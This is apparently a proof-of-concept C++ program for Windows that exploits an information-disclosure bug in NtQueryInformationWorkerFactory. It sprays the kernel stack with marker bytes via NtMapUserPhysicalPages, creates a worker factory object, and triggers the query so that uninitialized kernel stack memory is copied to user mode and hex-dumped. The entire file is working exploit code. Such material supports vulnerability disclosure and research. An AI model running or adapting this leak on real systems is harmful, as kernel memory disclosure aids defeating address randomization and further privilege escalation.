#include <Windows.h>
#include <winternl.h>
#include <cstdio>

extern "C" {

ULONG WINAPI NtMapUserPhysicalPages(
    PVOID BaseAddress,
    ULONG NumberOfPages,
    PULONG PageFrameNumbers
);

NTSTATUS WINAPI
NtCreateWorkerFactory(
    _Out_ PHANDLE WorkerFactoryHandleReturn,
    _In_ ACCESS_MASK DesiredAccess,
    _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
    _In_ HANDLE CompletionPortHandle,
    _In_ HANDLE WorkerProcessHandle,
    _In_ PVOID StartRoutine,
    _In_opt_ PVOID StartParameter,
    _In_opt_ ULONG MaxThreadCount,
    _In_opt_ SIZE_T StackReserve,
    _In_opt_ SIZE_T StackCommit
);

NTSTATUS WINAPI
NtQueryInformationWorkerFactory(
    _In_ HANDLE WorkerFactoryHandle,
    _In_ ULONG WorkerFactoryInformationClass,
    _Out_writes_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation,
    _In_ ULONG WorkerFactoryInformationLength,
    _Out_opt_ PULONG ReturnLength
);

}  // extern "C"

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
  for (ULONG i = 0; i < size; i++) {
    ptr[i] = byte;
  }
}

VOID SprayKernelStack() {
  // Buffer allocated in static program memory, hence doesn't touch the local stack.
  static BYTE buffer[4096];

  // Fill the buffer with 'A's and spray the kernel stack.
  MyMemset(buffer, 'A', sizeof(buffer));
  NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);

  // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
  MyMemset(buffer, 'B', sizeof(buffer));
}

int main() {
  // Create a completion port.
  HANDLE hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0, 0);
  if (hCompletionPort == NULL) {
    printf("CreateIoCompletionPort failed, %d\n", GetLastError());
    return 1;
  }

  // Create the worker factory object to query.
  HANDLE hWorkerFactory = NULL;
  NTSTATUS st = NtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, GetCurrentProcess(), NULL, NULL, 0, 0, 0);
  if (!NT_SUCCESS(st)) {
    printf("NtCreateWorkerFactory failed, %x\n", st);
    CloseHandle(hCompletionPort);
    return 1;
  }

  // Spray the kernel stack to get visible results.
  SprayKernelStack();

  // Trigger the vulnerability and print out the output structure.
  BYTE output[96] = { /* zero padding */ };
  DWORD ReturnLength;

#define WorkerFactoryBasicInformation 7
  st = NtQueryInformationWorkerFactory(hWorkerFactory, WorkerFactoryBasicInformation, output, sizeof(output), &ReturnLength);

  if (!NT_SUCCESS(st)) {
    printf("NtQueryInformationWorkerFactory failed, %x\n", st);
    CloseHandle(hWorkerFactory);
    CloseHandle(hCompletionPort);
    return 1;
  }

  PrintHex(output, ReturnLength);

  // Free resources.
  CloseHandle(hWorkerFactory);
  CloseHandle(hCompletionPort);

  return 0;
}